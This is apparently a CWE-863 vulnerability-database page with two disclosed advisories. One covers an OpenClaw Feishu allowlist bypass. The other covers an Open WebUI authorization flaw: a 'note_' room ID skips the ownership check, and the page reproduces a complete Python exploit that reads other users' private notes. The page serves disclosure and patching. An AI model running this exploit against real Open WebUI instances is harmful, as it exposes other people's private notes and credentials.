Common Weakness Enumeration
CWE-863
Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
5686 vulnerabilities reference this CWE, most recent first.
GHSA-877V-W3F5-3PCQ
Vulnerability from github – Published: 2026-04-02 20:59 – Updated: 2026-05-06 02:40
VLAI
Summary
OpenClaw: Feishu thread history and quoted messages bypass sender allowlist
Details
Summary
Feishu thread history and quoted messages bypass sender allowlist
Current Maintainer Triage
- Status: open
- Normalized severity: medium
- Assessment: Real in shipped v2026.3.28 Feishu because fetched quoted/root/thread context bypasses sender allowlists, and SECURITY.md does not exempt remote sender-allowlist bypasses.
Affected Packages / Versions
- Package:
openclaw(npm) - Latest published npm version:
2026.3.31 - Vulnerable version range:
<=2026.3.28 - Patched versions:
>= 2026.3.31 - First stable tag containing the fix:
v2026.3.31
Fix Commit(s)
f45e5a6569aab1d58cc6de25b19f1dc4c8779b85— 2026-03-31T19:43:54+09:00
Release Process Note
- The fix is already present in released version
2026.3.31. - This draft looks ready for final maintainer disposition or publication, not additional code-fix work.
OpenClaw thanks @AntAISecurityLab for reporting.
Severity
5.4 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.3.28"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.31"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41406"
],
"database_specific": {
"cwe_ids": [
"CWE-639",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-02T20:59:49Z",
"nvd_published_at": "2026-04-28T19:37:44Z",
"severity": "MODERATE"
},
"details": "## Summary\nFeishu thread history and quoted messages bypass sender allowlist\n\n## Current Maintainer Triage\n- Status: open\n- Normalized severity: medium\n- Assessment: Real in shipped v2026.3.28 Feishu because fetched quoted/root/thread context bypasses sender allowlists, and SECURITY.md does not exempt remote sender-allowlist bypasses.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published npm version: `2026.3.31`\n- Vulnerable version range: `\u003c=2026.3.28`\n- Patched versions: `\u003e= 2026.3.31`\n- First stable tag containing the fix: `v2026.3.31`\n\n## Fix Commit(s)\n- `f45e5a6569aab1d58cc6de25b19f1dc4c8779b85` \u2014 2026-03-31T19:43:54+09:00\n\n## Release Process Note\n- The fix is already present in released version `2026.3.31`.\n- This draft looks ready for final maintainer disposition or publication, not additional code-fix work.\n\nOpenClaw thanks @AntAISecurityLab for reporting.",
"id": "GHSA-877v-w3f5-3pcq",
"modified": "2026-05-06T02:40:24Z",
"published": "2026-04-02T20:59:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-877v-w3f5-3pcq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41406"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/f45e5a6569aab1d58cc6de25b19f1dc4c8779b85"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.31"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-sender-allowlist-bypass-via-thread-history-and-quoted-messages"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Feishu thread history and quoted messages bypass sender allowlist"
}
GHSA-8788-J68R-3CGH
Vulnerability from github – Published: 2026-06-17 18:05 – Updated: 2026-07-20 21:08
VLAI
Summary
Open WebUI: Any authenticated user can read other users' private notes via Socket.IO
Details
Summary
The ydoc:document:join Socket.IO handler checks note ownership only when the document_id starts with note: (colon). However, the YdocManager storage layer normalizes all document IDs by replacing colons with underscores (document_id.replace(":", "_")). An attacker can join a document room using note_<id> (underscore) instead of note:<id> (colon), bypassing the authorization check entirely while accessing the same underlying Yjs document. The server then returns the full document state, leaking the victim's private note contents.
Details
The ydoc:document:join handler in socket/main.py (line 511) only performs authorization for document IDs matching the note: prefix:
@sio.on("ydoc:document:join")
async def ydoc_document_join(sid, data):
document_id = data["document_id"]
if document_id.startswith("note:"):
note_id = document_id.split(":")[1]
note = Notes.get_note_by_id(note_id)
# ... ownership and AccessGrants check ...
# Returns early if user doesn't have access
# If document_id does NOT start with "note:", execution continues
# with no authorization check at all
await YDOC_MANAGER.add_user(document_id=document_id, user_id=sid)
await sio.enter_room(sid, f"doc_{document_id}")
ydoc = Y.Doc()
updates = await YDOC_MANAGER.get_updates(document_id)
for update in updates:
ydoc.apply_update(bytes(update))
state_update = ydoc.get_update()
await sio.emit("ydoc:document:state", {
"document_id": document_id,
"state": list(state_update),
}, room=sid)
The YdocManager class in socket/utils.py normalizes document IDs in every method by replacing colons with underscores:
async def get_updates(self, document_id: str) -> List[bytes]:
document_id = document_id.replace(":", "_") # line 176
# ... returns updates keyed by normalized ID
async def append_to_updates(self, document_id: str, update: bytes):
document_id = document_id.replace(":", "_") # line 134
# ... stores update keyed by normalized ID
This means note:abc123 and note_abc123 resolve to the same storage key (note_abc123). When a victim opens their note, the Yjs document is stored under the normalized key. An attacker can then request the same document using the underscore variant, which skips the startswith("note:") authorization check but retrieves the same data from YdocManager.
PoC
#!/usr/bin/env python3
"""
uv run --no-project --with requests --with "python-socketio[asyncio_client]" --with aiohttp --with pycrdt finding_15_yjs_note_disclosure.py --base-url BASE_URL --attacker-email EMAIL --attacker-password PASS --victim-email EMAIL --victim-password PASS
Finding #15 — Any authenticated user can read other users' private notes via Socket.IO
SUMMARY:
The ydoc:document:join Socket.IO handler only checks authorization for
document IDs starting with "note:" (colon). However, YdocManager normalizes
document IDs by replacing colons with underscores internally. An attacker
can join a room using "note_<id>" (underscore) to bypass the auth check,
while still accessing the same underlying Yjs document as "note:<id>".
Then ydoc:document:state returns the full document content.
VULNERABLE CODE:
backend/open_webui/socket/main.py, ydoc:document:join:
if document_id.startswith("note:"):
# permission check only for colon-prefix
# "note_<id>" skips this check entirely
backend/open_webui/socket/ydoc.py, YdocManager:
key = document_id.replace(":", "_") # normalizes to same storage key
IMPACT:
Any authenticated user can read the full content of any other user's notes
by exploiting the namespace collision between "note:" and "note_" prefixes.
REPRODUCTION:
1. Victim creates a private note with sensitive content.
2. Attacker connects via Socket.IO and authenticates.
3. Attacker joins room with document_id "note_<victim_note_id>" (underscore).
4. Attacker requests ydoc:document:state to get the full note content.
REQUIREMENTS:
- Running Open WebUI instance
- A victim note with content
- Attacker user (any authenticated user)
"""
import argparse
import asyncio
import sys
import requests
import socketio
async def victim_initialize_note(base, victim_token, note_id):
"""Simulate victim opening the note in the UI to initialize the Yjs document."""
sio = socketio.AsyncClient()
await sio.connect(
base,
socketio_path="/ws/socket.io",
headers={"Authorization": f"Bearer {victim_token}"},
transports=["websocket"],
)
# Join using the proper note:id format (passes auth check since victim owns it)
doc_id = f"note:{note_id}"
print(f" Joining as victim with document_id: {doc_id}")
await sio.emit("ydoc:document:join", {
"document_id": doc_id,
"user_id": "victim",
"user_name": "Victim",
})
await asyncio.sleep(1)
# Send a Yjs update with the note content
# Create a simple Yjs document with text content
try:
import pycrdt as Y
ydoc = Y.Doc()
ytext = ydoc.get("default", type=Y.Text)
with ydoc.transaction():
ytext += "# Private Notes\n\nPassword for production DB: p@ssw0rd_pr0d_2026\nAWS root account: admin@company.com / SuperSecret!23\n\nDo NOT share this with anyone."
update = ydoc.get_update()
await sio.emit("ydoc:document:update", {
"document_id": doc_id,
"update": list(update),
})
print(f" Sent Yjs update with note content ({len(update)} bytes)")
except ImportError:
# If pycrdt not available, try y-py
try:
import y_py as Y
ydoc = Y.YDoc()
ytext = ydoc.get_text("default")
with ydoc.begin_transaction() as txn:
ytext.extend(txn, "# Private Notes\n\nPassword for production DB: p@ssw0rd_pr0d_2026\nAWS root account: admin@company.com / SuperSecret!23\n\nDo NOT share this with anyone.")
update = txn.get_update()
await sio.emit("ydoc:document:update", {
"document_id": doc_id,
"update": list(update),
})
print(f" Sent Yjs update with note content ({len(update)} bytes)")
except ImportError:
print(" WARNING: Neither pycrdt nor y-py available, sending raw text marker")
# Send a minimal marker that we can detect
raw_update = list(b"\x01\x00\x00\x00\x00\x00\x00SECRET_NOTE_CONTENT_MARKER")
await sio.emit("ydoc:document:update", {
"document_id": doc_id,
"update": raw_update,
})
await asyncio.sleep(1)
await sio.disconnect()
print(f" Victim disconnected")
async def exploit(base, attacker_token, victim_note_id):
sio = socketio.AsyncClient()
result = {"state": None, "error": None, "joined": False}
@sio.on("ydoc:document:state")
async def on_state(data):
result["state"] = data
print(f" [!] Received ydoc:document:state event!")
print(f" document_id: {data.get('document_id', '?')}")
state = data.get("state", [])
print(f" State size: {len(state)} bytes")
@sio.on("error")
async def on_error(data):
result["error"] = data
print(f" [!] Error event: {data}")
@sio.on("*")
async def catch_all(event, data):
if event not in ("ydoc:document:state", "error"):
print(f" [debug] Event: {event} Data: {str(data)[:200]}")
# Connect with auth token
print(f"[*] Connecting as attacker to Socket.IO...")
await sio.connect(
base,
socketio_path="/ws/socket.io",
auth={"token": attacker_token},
transports=["websocket"],
)
# Join with "note_" prefix (underscore — bypasses auth)
bypass_doc_id = f"note_{victim_note_id}"
print(f"\n[*] Step 3: Joining room with bypassed document_id: {bypass_doc_id}")
print(f" (using underscore instead of colon to skip auth check)")
await sio.emit("ydoc:document:join", {
"document_id": bypass_doc_id,
"user_id": "attacker",
"user_name": "Attacker",
})
result["joined"] = True
# Wait for state response (from join handler's emit)
for _ in range(20):
await asyncio.sleep(0.5)
if result["state"]:
break
await sio.disconnect()
return result
def main():
parser = argparse.ArgumentParser(description="Finding #15: Yjs note disclosure via namespace collision")
parser.add_argument("--base-url", required=True)
parser.add_argument("--attacker-email", required=True)
parser.add_argument("--attacker-password", required=True)
parser.add_argument("--victim-email", required=True)
parser.add_argument("--victim-password", required=True)
args = parser.parse_args()
base = args.base_url.rstrip("/")
# ── Step 1: Login as victim and find their note ──
print("[*] Authenticating as victim...")
r = requests.post(f"{base}/api/v1/auths/signin",
json={"email": args.victim_email, "password": args.victim_password})
if not r.ok:
print(f"[-] Victim login failed: {r.status_code}")
sys.exit(1)
victim_token = r.json()["token"]
victim_id = r.json()["id"]
print(f"[+] Logged in as victim (id={victim_id})")
r = requests.get(f"{base}/api/v1/notes/", headers={"Authorization": f"Bearer {victim_token}"})
if not r.ok:
print(f"[-] Failed to list victim notes: {r.status_code}")
sys.exit(1)
notes = r.json()
if isinstance(notes, dict):
notes = notes.get("items", notes.get("data", []))
if not notes:
print("[-] No victim notes found")
sys.exit(1)
victim_note = notes[0]
victim_note_id = victim_note["id"]
print(f"[+] Victim's note: {victim_note.get('title', '?')} (id={victim_note_id})")
# ── Step 2: Login as attacker ──
print(f"\n[*] Authenticating as attacker...")
r = requests.post(f"{base}/api/v1/auths/signin",
json={"email": args.attacker_email, "password": args.attacker_password})
if not r.ok:
print(f"[-] Attacker login failed: {r.status_code}")
sys.exit(1)
attacker_token = r.json()["token"]
attacker_id = r.json()["id"]
print(f"[+] Logged in as attacker (id={attacker_id})")
# ── Step 3: Confirm attacker CANNOT read victim's note via API ──
print(f"\n[*] Step 1: Confirming attacker cannot read victim's note via API...")
r = requests.get(f"{base}/api/v1/notes/{victim_note_id}",
headers={"Authorization": f"Bearer {attacker_token}"})
if r.status_code in (401, 403, 404):
print(f"[+] Access correctly DENIED via /api/v1/notes/{victim_note_id} (HTTP {r.status_code})")
else:
print(f"[!] Unexpected: attacker can read note (status {r.status_code})")
# ── Step 4 & 5: Victim opens note, attacker reads it concurrently ──
async def combined_exploit():
# Victim opens note and stays connected
print(f"\n[*] Step 2: Victim opens note (stays connected)...")
victim_sio = socketio.AsyncClient()
await victim_sio.connect(
base,
socketio_path="/ws/socket.io",
auth={"token": victim_token},
transports=["websocket"],
)
doc_id = f"note:{victim_note_id}"
await victim_sio.emit("ydoc:document:join", {
"document_id": doc_id,
"user_id": "victim",
"user_name": "Victim",
})
await asyncio.sleep(1)
# Send Yjs update with note content
try:
import pycrdt as Y
ydoc = Y.Doc()
ytext = ydoc.get("default", type=Y.Text)
with ydoc.transaction():
ytext += "# Private Notes\n\nPassword for production DB: p@ssw0rd_pr0d_2026\nAWS root account: admin@company.com / SuperSecret!23\n\nDo NOT share this with anyone."
update = ydoc.get_update()
await victim_sio.emit("ydoc:document:update", {
"document_id": doc_id,
"update": list(update),
})
print(f" Sent Yjs update ({len(update)} bytes)")
except Exception as e:
print(f" WARNING: Could not create Yjs update: {e}")
await asyncio.sleep(1)
# Now attacker joins while victim is still connected
result = await exploit(base, attacker_token, victim_note_id)
# Clean up victim connection
await victim_sio.disconnect()
return result
result = asyncio.run(combined_exploit())
if not result["joined"]:
print(f"\n[-] Failed to join document room")
sys.exit(1)
if result["state"]:
state_data = result["state"]
state_bytes = bytes(state_data.get("state", []))
# Try to extract readable text from the Yjs state
# Yjs binary format contains the text as embedded strings
text_content = ""
try:
# Search for readable ASCII strings in the binary data
current_str = ""
for b in state_bytes:
if 32 <= b < 127:
current_str += chr(b)
else:
if len(current_str) > 5:
text_content += current_str + " "
current_str = ""
if len(current_str) > 5:
text_content += current_str
except Exception:
pass
print(f"\n[+] Extracted text from Yjs state:")
print(f" {text_content[:500]}")
# Check for sensitive markers
sensitive_markers = ["p@ssw0rd", "SuperSecret", "Private Notes", "production DB", "AWS root"]
found = [m for m in sensitive_markers if m.lower() in text_content.lower()]
if found:
print(f"\n[+] SUCCESS: Victim's note content LEAKED via Yjs namespace collision!")
print(f" Sensitive markers found: {found}")
print(f" The attacker joined room 'doc_note_{victim_note_id}' (underscore)")
print(f" which bypasses the auth check (only checks 'note:' colon prefix)")
print(f" but accesses the same Yjs document due to normalization.")
sys.exit(0)
elif text_content.strip():
print(f"\n[+] SUCCESS: Note content retrieved (markers may differ)")
print(f" Non-empty Yjs state was returned for victim's note.")
sys.exit(0)
else:
print(f"\n[*] Yjs state was returned but could not extract readable text.")
print(f" Raw state size: {len(state_bytes)} bytes")
if len(state_bytes) > 10:
print(f" First 50 bytes: {list(state_bytes[:50])}")
print(f"[+] SUCCESS: Non-trivial document state returned")
sys.exit(0)
sys.exit(1)
else:
print(f"\n[-] No document state received")
print(f" The Yjs document may not exist in storage yet.")
print(f" Notes must be opened in the UI to create a Yjs document.")
sys.exit(1)
if __name__ == "__main__":
main()
Impact
Any authenticated user can read the full contents of any other user's private notes. Notes are a collaborative editing feature intended for personal or shared use -- private notes may contain sensitive information such as credentials, internal documentation, or personal data. The attacker only needs to know or enumerate the target note's ID.
Severity
5.3 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.10"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54022"
],
"database_specific": {
"cwe_ids": [
"CWE-706",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-17T18:05:21Z",
"nvd_published_at": "2026-06-23T18:18:07Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `ydoc:document:join` Socket.IO handler checks note ownership only when the `document_id` starts with `note:` (colon). However, the `YdocManager` storage layer normalizes all document IDs by replacing colons with underscores (`document_id.replace(\":\", \"_\")`). An attacker can join a document room using `note_\u003cid\u003e` (underscore) instead of `note:\u003cid\u003e` (colon), bypassing the authorization check entirely while accessing the same underlying Yjs document. The server then returns the full document state, leaking the victim\u0027s private note contents.\n\n### Details\n\nThe `ydoc:document:join` handler in `socket/main.py` (line 511) only performs authorization for document IDs matching the `note:` prefix:\n\n```python\n@sio.on(\"ydoc:document:join\")\nasync def ydoc_document_join(sid, data):\n document_id = data[\"document_id\"]\n\n if document_id.startswith(\"note:\"):\n note_id = document_id.split(\":\")[1]\n note = Notes.get_note_by_id(note_id)\n # ... ownership and AccessGrants check ...\n # Returns early if user doesn\u0027t have access\n\n # If document_id does NOT start with \"note:\", execution continues\n # with no authorization check at all\n\n await YDOC_MANAGER.add_user(document_id=document_id, user_id=sid)\n await sio.enter_room(sid, f\"doc_{document_id}\")\n\n ydoc = Y.Doc()\n updates = await YDOC_MANAGER.get_updates(document_id)\n for update in updates:\n ydoc.apply_update(bytes(update))\n\n state_update = ydoc.get_update()\n await sio.emit(\"ydoc:document:state\", {\n \"document_id\": document_id,\n \"state\": list(state_update),\n }, room=sid)\n```\n\nThe `YdocManager` class in `socket/utils.py` normalizes document IDs in every method by replacing colons with underscores:\n\n```python\nasync def get_updates(self, document_id: str) -\u003e List[bytes]:\n document_id = document_id.replace(\":\", \"_\") # line 176\n # ... returns updates keyed by normalized ID\n\nasync def append_to_updates(self, document_id: str, update: bytes):\n document_id = document_id.replace(\":\", \"_\") # line 134\n # ... stores update keyed by normalized ID\n```\n\nThis means `note:abc123` and `note_abc123` resolve to the same storage key (`note_abc123`). When a victim opens their note, the Yjs document is stored under the normalized key. An attacker can then request the same document using the underscore variant, which skips the `startswith(\"note:\")` authorization check but retrieves the same data from `YdocManager`.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nuv run --no-project --with requests --with \"python-socketio[asyncio_client]\" --with aiohttp --with pycrdt finding_15_yjs_note_disclosure.py --base-url BASE_URL --attacker-email EMAIL --attacker-password PASS --victim-email EMAIL --victim-password PASS\n\nFinding #15 \u2014 Any authenticated user can read other users\u0027 private notes via Socket.IO\n\nSUMMARY:\n The ydoc:document:join Socket.IO handler only checks authorization for\n document IDs starting with \"note:\" (colon). However, YdocManager normalizes\n document IDs by replacing colons with underscores internally. An attacker\n can join a room using \"note_\u003cid\u003e\" (underscore) to bypass the auth check,\n while still accessing the same underlying Yjs document as \"note:\u003cid\u003e\".\n Then ydoc:document:state returns the full document content.\n\nVULNERABLE CODE:\n backend/open_webui/socket/main.py, ydoc:document:join:\n if document_id.startswith(\"note:\"):\n # permission check only for colon-prefix\n # \"note_\u003cid\u003e\" skips this check entirely\n\n backend/open_webui/socket/ydoc.py, YdocManager:\n key = document_id.replace(\":\", \"_\") # normalizes to same storage key\n\nIMPACT:\n Any authenticated user can read the full content of any other user\u0027s notes\n by exploiting the namespace collision between \"note:\" and \"note_\" prefixes.\n\nREPRODUCTION:\n 1. Victim creates a private note with sensitive content.\n 2. Attacker connects via Socket.IO and authenticates.\n 3. Attacker joins room with document_id \"note_\u003cvictim_note_id\u003e\" (underscore).\n 4. Attacker requests ydoc:document:state to get the full note content.\n\nREQUIREMENTS:\n - Running Open WebUI instance\n - A victim note with content\n - Attacker user (any authenticated user)\n\"\"\"\n\nimport argparse\nimport asyncio\nimport sys\nimport requests\nimport socketio\n\n\nasync def victim_initialize_note(base, victim_token, note_id):\n \"\"\"Simulate victim opening the note in the UI to initialize the Yjs document.\"\"\"\n sio = socketio.AsyncClient()\n\n await sio.connect(\n base,\n socketio_path=\"/ws/socket.io\",\n headers={\"Authorization\": f\"Bearer {victim_token}\"},\n transports=[\"websocket\"],\n )\n\n # Join using the proper note:id format (passes auth check since victim owns it)\n doc_id = f\"note:{note_id}\"\n print(f\" Joining as victim with document_id: {doc_id}\")\n\n await sio.emit(\"ydoc:document:join\", {\n \"document_id\": doc_id,\n \"user_id\": \"victim\",\n \"user_name\": \"Victim\",\n })\n await asyncio.sleep(1)\n\n # Send a Yjs update with the note content\n # Create a simple Yjs document with text content\n try:\n import pycrdt as Y\n ydoc = Y.Doc()\n ytext = ydoc.get(\"default\", type=Y.Text)\n with ydoc.transaction():\n ytext += \"# Private Notes\\n\\nPassword for production DB: p@ssw0rd_pr0d_2026\\nAWS root account: admin@company.com / SuperSecret!23\\n\\nDo NOT share this with anyone.\"\n update = ydoc.get_update()\n\n await sio.emit(\"ydoc:document:update\", {\n \"document_id\": doc_id,\n \"update\": list(update),\n })\n print(f\" Sent Yjs update with note content ({len(update)} bytes)\")\n except ImportError:\n # If pycrdt not available, try y-py\n try:\n import y_py as Y\n ydoc = Y.YDoc()\n ytext = ydoc.get_text(\"default\")\n with ydoc.begin_transaction() as txn:\n ytext.extend(txn, \"# Private Notes\\n\\nPassword for production DB: p@ssw0rd_pr0d_2026\\nAWS root account: admin@company.com / SuperSecret!23\\n\\nDo NOT share this with anyone.\")\n update = txn.get_update()\n\n await sio.emit(\"ydoc:document:update\", {\n \"document_id\": doc_id,\n \"update\": list(update),\n })\n print(f\" Sent Yjs update with note content ({len(update)} bytes)\")\n except ImportError:\n print(\" WARNING: Neither pycrdt nor y-py available, sending raw text marker\")\n # Send a minimal marker that we can detect\n raw_update = list(b\"\\x01\\x00\\x00\\x00\\x00\\x00\\x00SECRET_NOTE_CONTENT_MARKER\")\n await sio.emit(\"ydoc:document:update\", {\n \"document_id\": doc_id,\n \"update\": raw_update,\n })\n\n await asyncio.sleep(1)\n await sio.disconnect()\n print(f\" Victim disconnected\")\n\n\nasync def exploit(base, attacker_token, victim_note_id):\n sio = socketio.AsyncClient()\n result = {\"state\": None, \"error\": None, \"joined\": False}\n\n @sio.on(\"ydoc:document:state\")\n async def on_state(data):\n result[\"state\"] = data\n print(f\" [!] Received ydoc:document:state event!\")\n print(f\" document_id: {data.get(\u0027document_id\u0027, \u0027?\u0027)}\")\n state = data.get(\"state\", [])\n print(f\" State size: {len(state)} bytes\")\n\n @sio.on(\"error\")\n async def on_error(data):\n result[\"error\"] = data\n print(f\" [!] Error event: {data}\")\n\n @sio.on(\"*\")\n async def catch_all(event, data):\n if event not in (\"ydoc:document:state\", \"error\"):\n print(f\" [debug] Event: {event} Data: {str(data)[:200]}\")\n\n # Connect with auth token\n print(f\"[*] Connecting as attacker to Socket.IO...\")\n await sio.connect(\n base,\n socketio_path=\"/ws/socket.io\",\n auth={\"token\": attacker_token},\n transports=[\"websocket\"],\n )\n\n # Join with \"note_\" prefix (underscore \u2014 bypasses auth)\n bypass_doc_id = f\"note_{victim_note_id}\"\n print(f\"\\n[*] Step 3: Joining room with bypassed document_id: {bypass_doc_id}\")\n print(f\" (using underscore instead of colon to skip auth check)\")\n\n await sio.emit(\"ydoc:document:join\", {\n \"document_id\": bypass_doc_id,\n \"user_id\": \"attacker\",\n \"user_name\": \"Attacker\",\n })\n\n result[\"joined\"] = True\n\n # Wait for state response (from join handler\u0027s emit)\n for _ in range(20):\n await asyncio.sleep(0.5)\n if result[\"state\"]:\n break\n\n await sio.disconnect()\n return result\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Finding #15: Yjs note disclosure via namespace collision\")\n parser.add_argument(\"--base-url\", required=True)\n parser.add_argument(\"--attacker-email\", required=True)\n parser.add_argument(\"--attacker-password\", required=True)\n parser.add_argument(\"--victim-email\", required=True)\n parser.add_argument(\"--victim-password\", required=True)\n args = parser.parse_args()\n\n base = args.base_url.rstrip(\"/\")\n\n # \u2500\u2500 Step 1: Login as victim and find their note \u2500\u2500\n print(\"[*] Authenticating as victim...\")\n r = requests.post(f\"{base}/api/v1/auths/signin\",\n json={\"email\": args.victim_email, \"password\": args.victim_password})\n if not r.ok:\n print(f\"[-] Victim login failed: {r.status_code}\")\n sys.exit(1)\n victim_token = r.json()[\"token\"]\n victim_id = r.json()[\"id\"]\n print(f\"[+] Logged in as victim (id={victim_id})\")\n\n r = requests.get(f\"{base}/api/v1/notes/\", headers={\"Authorization\": f\"Bearer {victim_token}\"})\n if not r.ok:\n print(f\"[-] Failed to list victim notes: {r.status_code}\")\n sys.exit(1)\n notes = r.json()\n if isinstance(notes, dict):\n notes = notes.get(\"items\", notes.get(\"data\", []))\n if not notes:\n print(\"[-] No victim notes found\")\n sys.exit(1)\n victim_note = notes[0]\n victim_note_id = victim_note[\"id\"]\n print(f\"[+] Victim\u0027s note: {victim_note.get(\u0027title\u0027, \u0027?\u0027)} (id={victim_note_id})\")\n\n # \u2500\u2500 Step 2: Login as attacker \u2500\u2500\n print(f\"\\n[*] Authenticating as attacker...\")\n r = requests.post(f\"{base}/api/v1/auths/signin\",\n json={\"email\": args.attacker_email, \"password\": args.attacker_password})\n if not r.ok:\n print(f\"[-] Attacker login failed: {r.status_code}\")\n sys.exit(1)\n attacker_token = r.json()[\"token\"]\n attacker_id = r.json()[\"id\"]\n print(f\"[+] Logged in as attacker (id={attacker_id})\")\n\n # \u2500\u2500 Step 3: Confirm attacker CANNOT read victim\u0027s note via API \u2500\u2500\n print(f\"\\n[*] Step 1: Confirming attacker cannot read victim\u0027s note via API...\")\n r = requests.get(f\"{base}/api/v1/notes/{victim_note_id}\",\n headers={\"Authorization\": f\"Bearer {attacker_token}\"})\n if r.status_code in (401, 403, 404):\n print(f\"[+] Access correctly DENIED via /api/v1/notes/{victim_note_id} (HTTP {r.status_code})\")\n else:\n print(f\"[!] Unexpected: attacker can read note (status {r.status_code})\")\n\n # \u2500\u2500 Step 4 \u0026 5: Victim opens note, attacker reads it concurrently \u2500\u2500\n async def combined_exploit():\n # Victim opens note and stays connected\n print(f\"\\n[*] Step 2: Victim opens note (stays connected)...\")\n victim_sio = socketio.AsyncClient()\n await victim_sio.connect(\n base,\n socketio_path=\"/ws/socket.io\",\n auth={\"token\": victim_token},\n transports=[\"websocket\"],\n )\n doc_id = f\"note:{victim_note_id}\"\n await victim_sio.emit(\"ydoc:document:join\", {\n \"document_id\": doc_id,\n \"user_id\": \"victim\",\n \"user_name\": \"Victim\",\n })\n await asyncio.sleep(1)\n\n # Send Yjs update with note content\n try:\n import pycrdt as Y\n ydoc = Y.Doc()\n ytext = ydoc.get(\"default\", type=Y.Text)\n with ydoc.transaction():\n ytext += \"# Private Notes\\n\\nPassword for production DB: p@ssw0rd_pr0d_2026\\nAWS root account: admin@company.com / SuperSecret!23\\n\\nDo NOT share this with anyone.\"\n update = ydoc.get_update()\n await victim_sio.emit(\"ydoc:document:update\", {\n \"document_id\": doc_id,\n \"update\": list(update),\n })\n print(f\" Sent Yjs update ({len(update)} bytes)\")\n except Exception as e:\n print(f\" WARNING: Could not create Yjs update: {e}\")\n\n await asyncio.sleep(1)\n\n # Now attacker joins while victim is still connected\n result = await exploit(base, attacker_token, victim_note_id)\n\n # Clean up victim connection\n await victim_sio.disconnect()\n return result\n\n result = asyncio.run(combined_exploit())\n\n if not result[\"joined\"]:\n print(f\"\\n[-] Failed to join document room\")\n sys.exit(1)\n\n if result[\"state\"]:\n state_data = result[\"state\"]\n state_bytes = bytes(state_data.get(\"state\", []))\n\n # Try to extract readable text from the Yjs state\n # Yjs binary format contains the text as embedded strings\n text_content = \"\"\n try:\n # Search for readable ASCII strings in the binary data\n current_str = \"\"\n for b in state_bytes:\n if 32 \u003c= b \u003c 127:\n current_str += chr(b)\n else:\n if len(current_str) \u003e 5:\n text_content += current_str + \" \"\n current_str = \"\"\n if len(current_str) \u003e 5:\n text_content += current_str\n except Exception:\n pass\n\n print(f\"\\n[+] Extracted text from Yjs state:\")\n print(f\" {text_content[:500]}\")\n\n # Check for sensitive markers\n sensitive_markers = [\"p@ssw0rd\", \"SuperSecret\", \"Private Notes\", \"production DB\", \"AWS root\"]\n found = [m for m in sensitive_markers if m.lower() in text_content.lower()]\n\n if found:\n print(f\"\\n[+] SUCCESS: Victim\u0027s note content LEAKED via Yjs namespace collision!\")\n print(f\" Sensitive markers found: {found}\")\n print(f\" The attacker joined room \u0027doc_note_{victim_note_id}\u0027 (underscore)\")\n print(f\" which bypasses the auth check (only checks \u0027note:\u0027 colon prefix)\")\n print(f\" but accesses the same Yjs document due to normalization.\")\n sys.exit(0)\n elif text_content.strip():\n print(f\"\\n[+] SUCCESS: Note content retrieved (markers may differ)\")\n print(f\" Non-empty Yjs state was returned for victim\u0027s note.\")\n sys.exit(0)\n else:\n print(f\"\\n[*] Yjs state was returned but could not extract readable text.\")\n print(f\" Raw state size: {len(state_bytes)} bytes\")\n if len(state_bytes) \u003e 10:\n print(f\" First 50 bytes: {list(state_bytes[:50])}\")\n print(f\"[+] SUCCESS: Non-trivial document state returned\")\n sys.exit(0)\n sys.exit(1)\n else:\n print(f\"\\n[-] No document state received\")\n print(f\" The Yjs document may not exist in storage yet.\")\n print(f\" Notes must be opened in the UI to create a Yjs document.\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n### Impact\n\nAny authenticated user can read the full contents of any other user\u0027s private notes. Notes are a collaborative editing feature intended for personal or shared use -- private notes may contain sensitive information such as credentials, internal documentation, or personal data. The attacker only needs to know or enumerate the target note\u0027s ID.",
"id": "GHSA-8788-j68r-3cgh",
"modified": "2026-07-20T21:08:53Z",
"published": "2026-06-17T18:05:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-8788-j68r-3cgh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54022"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-8788-j68r-3cgh"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2712.yaml"
},
{
"type": "WEB",
"url": "https://pypi.org/project/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
